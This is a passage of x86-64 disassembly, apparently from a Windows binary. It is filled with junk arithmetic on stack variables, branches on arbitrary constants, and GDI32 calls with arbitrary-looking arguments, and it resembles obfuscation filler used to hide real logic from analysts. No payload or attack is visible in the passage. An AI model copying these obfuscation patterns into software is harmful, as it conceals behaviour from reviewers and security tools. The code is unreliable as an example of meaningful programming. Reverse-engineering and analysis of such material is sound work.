shl rax, cl
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x67e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3790]
sar eax, cl
mov rcx, qword [rsp + 0x67b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x3828]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x67f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf74]
add eax, ecx
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
movzx eax, byte [rsp + 0x105]
movzx ecx, byte [rsp + 0x170]
and eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x171]
sub eax, ecx
mov rcx, qword [rsp + 0x67c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc4c]
sub eax, ecx
mov word [rsp + 0xf74], ax
mov rax, qword [rsp + 0x6828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6840]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x6778]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x37c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x37a0], eax
mov rax, qword [rsp + 0x6878]
mov ecx, dword [rsp + 0x3840]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14024b350], eax
mov rax, qword [rsp + 0x6780]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x173]
sar eax, cl
mov rcx, qword [rsp + 0x6798]
mov byte [rcx], al
movsx eax, word [rsp + 0xf70]
movsx ecx, word [rsp + 0xf64]
shl eax, cl
mov rcx, qword [rsp + 0x6868]
mov word [rcx], ax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
xor eax, ecx
mov word [rsp + 0xf68], ax
mov rax, qword [rsp + 0x67e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x173]
and eax, ecx
mov rcx, qword [rsp + 0x6780]
mov byte [rcx], al
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x6840]
mov rcx, qword [rsp + 0x67d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
mov eax, dword [rsp + 0x3840]
mov ecx, dword [0x14024b350]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3828], eax
mov rax, qword [rsp + 0x67b0]
mov rcx, qword [rsp + 0x67e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x37c4], eax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x37c8]
sub eax, 0xf1
mov dword [rsp + 0x37c8], eax
movzx eax, byte [rsp + 0x170]
movzx ecx, byte [rsp + 0x105]
sub eax, ecx
mov byte [rsp + 0x173], al
movsx eax, word [rsp + 0xf64]
movsx ecx, word [rsp + 0xf70]
add eax, ecx
mov word [rsp + 0xf68], ax
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf60]
add eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
mov rax, qword [rsp + 0x67c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6760]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x16f], al
movsx eax, byte [rsp + 0x172]
movsx ecx, byte [rsp + 0x16f]
xor eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
jmp 0x14005b38b
mov rax, qword [rsp + 0x6840]
mov rcx, qword [rsp + 0x67d8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
mov eax, dword [rsp + 0x37a4]
sub eax, 0xd4
mov dword [rsp + 0x37a4], eax
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3840]
shl eax, cl
mov dword [rsp + 0x3828], eax
mov eax, dword [rsp + 0x37c4]
mov rcx, qword [rsp + 0x67e0]
mov qword [rsp + 0x68c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x68c8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xf70]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
movzx eax, word [rsp + 0xf60]
movzx ecx, word [rsp + 0xc4c]
sub eax, ecx
mov word [rsp + 0xf74], ax
movsx eax, byte [rsp + 0x172]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
mov rax, qword [rsp + 0x67b8]
mov rcx, qword [rsp + 0x6878]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6840]
mov rcx, qword [rsp + 0x67d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [0x14024a008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6778], rax
mov eax, dword [rsp + 0x3790]
mov ecx, dword [rsp + 0x37a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67e0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xf64]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf68], ax
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
shl eax, cl
mov word [rsp + 0xc4c], ax
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf64], ax
mov rax, qword [rsp + 0x6760]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x67c0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
movzx eax, word [rsp + 0xc4c]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf6c], ax
mov eax, dword [rsp + 0x3840]
mov ecx, dword [rsp + 0x3738]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [0x14024a008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x67a0]
mov rcx, qword [rsp + 0x67d8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3758]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6870]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x67e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6820]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x6870]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x105], al
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf68]
sub eax, ecx
mov word [rsp + 0xf70], ax
mov rax, qword [rsp + 0x67c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
mov eax, dword [rsp + 0x3738]
mov ecx, dword [rsp + 0x3764]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6878]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3758]
mov rcx, qword [rsp + 0x6738]
mov qword [rsp + 0x68d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x68d0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x67e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [0x14024a008]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x3764]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14024b350], eax
mov rax, qword [rsp + 0x67c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc4c]
add eax, ecx
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x105]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movsx eax, word [rsp + 0xf68]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6870]
mov byte [rcx], al
mov rax, qword [rsp + 0x67d8]
mov rcx, qword [rsp + 0x6840]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6888]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3758]
mov ecx, dword [rsp + 0x37c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [0x14024a008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x67b8]
mov rcx, qword [rsp + 0x6878]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x170]
sar eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
cmp dword [rsp + 0x37a4], 0x956
ja 0x14005b7b0
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
xor eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
mov dword [rsp + 0x3864], eax
cmp dword [rsp + 0x3864], 0
je 0x14005bd2a
cmp dword [rsp + 0x3864], 0x609f
je 0x14005bebb
jmp 0x14005befa
movzx eax, byte [rsp + 0x171]
mov byte [rsp + 0x174], al
movsx eax, word [rsp + 0xf68]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf64], ax
mov rax, qword [rsp + 0x6780]
movzx eax, byte [rax]
mov byte [rsp + 0x3868], al
cmp byte [rsp + 0x3868], 0
je 0x14005be08
cmp byte [rsp + 0x3868], 0xd6
je 0x14005bd85
jmp 0x14005beb9
lea r9, [rsp + 0x6768]
mov r8d, 0x6c
mov edx, 0x9e
mov rcx, qword [rsp + 0x68d8]
call qword [sym.imp.GDI32.dll_GetCharWidthW]
mov dword [rsp + 0x386c], eax
movzx eax, byte [rsp + 0x105]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0x67e0]
mov rcx, qword [rsp + 0x67b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov edx, 7
mov rcx, qword [rsp + 0x68e0]
call qword [sym.imp.GDI32.dll_SetBkMode]
mov dword [rsp + 0x37c4], eax
jmp 0x14005beb9
mov rax, qword [rsp + 0x6878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3828]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x373c], eax
lea rax, [rsp + 0x6778]
mov qword [rsp + 0x68e8], rax
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
mov dword [rsp + 0x3870], eax
cmp dword [rsp + 0x3870], 0
je 0x14005be5e
cmp dword [rsp + 0x3870], 0x4a40b356
je 0x14005be9f
jmp 0x14005beb9
lea rax, [rsp + 0x6140]
mov qword [rsp + 0x68f0], rax
lea rax, [rsp + 0x3828]
mov qword [0x14024b358], rax
movzx eax, word [rsp + 0xf74]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
jmp 0x14005beb9
movsx eax, word [rsp + 0xf64]
movsx ecx, word [rsp + 0xf68]
add eax, ecx
mov word [rsp + 0xf70], ax
jmp 0x14005befa
mov rax, qword [rsp + 0x67c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x174]
add eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
mov rax, qword [rsp + 0x67b8]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x105]
mov ecx, dword [rsp + 0x37c4]
call fcn.1401fdff0
nop
lea rax, [rsp + 0x16f]
mov qword [rsp + 0x68f8], rax
mov rax, qword [rsp + 0x67e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x173]
sub eax, ecx
mov byte [rsp + 0x105], al
mov rax, qword [rsp + 0x6828]
mov rcx, qword [rsp + 0x67d8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x67a0]
mov rdx, qword [rsp + 0x68f0]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jle 0x14005bfe9
mov r9d, 0xf1
lea r8, [fcn.1401fe730]
lea rdx, str.serviced_ancestral_Chomped_redeemable
mov rcx, qword [rsp + 0x6900]
call qword [sym.imp.GDI32.dll_EnumFontFamiliesW]
mov dword [rsp + 0x37c4], eax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3790]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67d8]
movzx ecx, al
mov rax, qword [rsp + 0x6840]
shl rax, cl
mov qword [rsp + 0x6140], rax
mov rax, qword [rsp + 0x6778]
mov rcx, qword [0x14024a008]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68e8]
mov qword [rcx], rax
jmp 0x14005c074
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov rcx, qword [rcx]
mov rdx, qword [0x14024a008]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14005c074
lea rdx, [rsp + 0x6800]
mov rcx, qword [rsp + 0x6908]
call qword [sym.imp.GDI32.dll_GetCurrentPositionEx]
mov dword [rsp + 0x3760], eax
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3828]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
lea rdx, [rsp + 0x67f0]
mov rcx, qword [rsp + 0x68d8]
call qword [sym.imp.GDI32.dll_GetViewportOrgEx]
mov dword [rsp + 0x37f8], eax
mov eax, dword [rsp + 0x3840]
mov dword [rsp + 0x3874], eax
cmp dword [rsp + 0x3874], 0
je 0x14005c233
cmp dword [rsp + 0x3874], 0xd72c9c4d
je 0x14005c0a2
jmp 0x14005c2ec
movsx eax, word [rsp + 0xf68]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf70], ax
mov rax, qword [rsp + 0x6740]
movzx eax, byte [rax]
mov byte [rsp + 0x3878], al
cmp byte [rsp + 0x3878], 0x67
je 0x14005c0e0
jmp 0x14005c211
movzx eax, word [rsp + 0xf74]
movzx ecx, word [rsp + 0xf60]
and eax, ecx
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x67f8]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jne 0x14005c14b
movsx eax, word [rsp + 0xf64]
movsx ecx, word [rsp + 0xf68]
sub eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc4c], ax
mov dword [rsp + 0x50], 0x66
mov dword [rsp + 0x48], 6
mov dword [rsp + 0x40], 0x18
mov dword [rsp + 0x38], 0x33
mov dword [rsp + 0x30], 0xa0
mov rax, qword [rsp + 0x6910]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x16
mov r9d, 0x36
mov r8d, 0x16
mov edx, 0xd5
mov rcx, qword [rsp + 0x68d8]
call qword [sym.imp.GDI32.dll_GdiTransparentBlt]
mov dword [rsp + 0x3740], eax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x68b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x68f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6780]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x173]
sub eax, ecx
mov byte [rsp + 0x105], al
mov rax, qword [rsp + 0x67b8]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x170]
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rax]
call fcn.1401fdff0
nop
jmp 0x14005c22e
mov rax, qword [rsp + 0x67b0]
mov ecx, dword [rsp + 0x37c4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
jmp 0x14005c2ec
mov rax, qword [rsp + 0x68e8]
mov rax, qword [rax]
mov qword [rsp + 0x6918], rax
mov rax, qword [rsp + 0x67d8]
mov rcx, qword [rsp + 0x6840]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
lea rax, [rsp + 0x3840]
mov qword [rsp + 0x6920], rax
mov dword [rsp + 0x387c], 0x35ec
lea rax, [rsp + 0xf74]
mov qword [rsp + 0x6928], rax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x68b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
mov dword [rsp + 0x3880], 0x6849
movzx eax, word [rsp + 0xf70]
mov word [rsp + 0xf78], ax
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6820]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc4c], ax
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x67e8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov dword [rsp + 0x3884], 0xf88f
mov rax, qword [rsp + 0x67a0]
mov rcx, qword [rsp + 0x6840]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x67d8]
mov rdx, qword [rsp + 0x6140]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x14005c3bc
mov rcx, qword [rsp + 0x6910]
call qword [sym.imp.GDI32.dll_CancelDC]
mov dword [rsp + 0x3850], eax
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf78], ax
mov eax, dword [0x14024b350]
mov ecx, dword [rsp + 0x3828]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6878]
mov dword [rcx], eax
mov r8d, 0x19
lea rdx, [rsp + 0x28ea8]
mov rcx, qword [rsp + 0x6908]
call qword [sym.imp.GDI32.dll_PolyTextOutW]
mov dword [rsp + 0x3740], eax
jmp 0x14005c431
mov rax, qword [rsp + 0x6918]
mov qword [rsp + 0x6930], rax
cmp qword [rsp + 0x6930], 0
je 0x14005c3ed
movabs rax, 0x3df7f33a1bc7b30e
cmp qword [rsp + 0x6930], rax
je 0x14005c410
jmp 0x14005c431
movzx eax, byte [rsp + 0x171]
mov byte [rsp + 0x3888], al
cmp byte [rsp + 0x3888], 0x3a
je 0x14005c408
jmp 0x14005c40e
call fcn.1401fe730
nop
jmp 0x14005c431
mov rax, qword [rsp + 0x6888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x67d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
mov rax, qword [rsp + 0x68e8]
mov rax, qword [rax]
mov qword [rsp + 0x6938], rax
cmp qword [rsp + 0x6938], 0
je 0x14005c48e
movabs rax, 0x88407a730ad26682
cmp qword [rsp + 0x6938], rax
je 0x14005c468
jmp 0x14005c523
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x6918]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x68e8]
mov qword [rcx], rax
jmp 0x14005c523
movzx eax, byte [rsp + 0x170]
mov byte [rsp + 0x388c], al
cmp byte [rsp + 0x388c], 0
je 0x14005c4c8
cmp byte [rsp + 0x388c], 0x96
je 0x14005c4b3
jmp 0x14005c523
mov edx, dword [0x14024b350]
mov ecx, dword [rsp + 0x3764]
call fcn.1401fe5a0
nop
jmp 0x14005c523
lea rax, [rsp + 0x37a0]
mov qword [rsp + 0x6940], rax
mov rax, qword [rsp + 0x68b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x172], al
lea rax, [rsp + 0xf6c]
mov qword [rsp + 0x6948], rax
movzx eax, byte [rsp + 0x170]
movzx ecx, byte [rsp + 0x173]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov dword [rsp + 0x3890], 0x34c0
movzx eax, word [rsp + 0xf60]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0xf6c]
mov rdx, qword [rsp + 0x6820]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x14005c5f9
lea rcx, [rsp + 0x28db0]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x6950], rax
mov rax, qword [rsp + 0x67c8]
movzx eax, byte [rax]
mov byte [rsp + 0x3894], al
cmp byte [rsp + 0x3894], 0x44
je 0x14005c5bf
cmp byte [rsp + 0x3894], 0x68
je 0x14005c59e
jmp 0x14005c5f9
movsx eax, byte [rsp + 0x174]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov byte [rcx], al
jmp 0x14005c5f9
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x66e8]
mov r9d, dword [rax]
movzx r8d, byte [rsp + 0x170]
mov rdx, qword [rsp + 0x6918]
movzx ecx, word [rsp + 0xf64]
call fcn.1401fe2d0
nop
mov eax, dword [rsp + 0x37b8]
add eax, 0x29
mov dword [rsp + 0x37b8], eax
movzx eax, word [rsp + 0xf74]
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf60], ax
mov eax, dword [rsp + 0x373c]
mov rcx, qword [rsp + 0x6878]
mov qword [rsp + 0x6958], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6958]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6920]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3828]
shl eax, cl
mov dword [rsp + 0x3840], eax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6918]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x68e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x37c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6798]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf78], ax
movsx eax, byte [rsp + 0x172]
mov rcx, qword [rsp + 0x67c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x6928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
sub eax, ecx
mov word [rsp + 0xf60], ax
movsx eax, word [rsp + 0xf70]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6868]
mov word [rcx], ax
mov rax, qword [rsp + 0x6920]
mov rcx, qword [rsp + 0x6878]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x67d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3840]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6920]
mov dword [rcx], eax
mov eax, dword [rsp + 0x37a0]
movzx ecx, al
mov eax, dword [rsp + 0x3758]
sar eax, cl
mov dword [rsp + 0x37c4], eax
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x68f8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
movzx eax, word [rsp + 0xf6c]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc4c], ax
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf70]
xor eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6870]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x67e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x170], al
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x6870]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x373c]
add ecx, eax
mov eax, ecx
mov dword [0x14024b350], eax
mov rax, qword [rsp + 0x6940]
mov rcx, qword [rsp + 0x67b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3790], eax
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x6918]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x6828]
mov rcx, qword [rsp + 0x6140]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6840], rax
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc4c], ax
movsx eax, byte [rsp + 0x174]
mov rcx, qword [rsp + 0x67c8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x16f], al
movsx eax, word [rsp + 0xf70]
movsx ecx, word [rsp + 0xf68]
sub eax, ecx
mov rcx, qword [rsp + 0x6868]
mov word [rcx], ax
movzx eax, byte [rsp + 0x173]
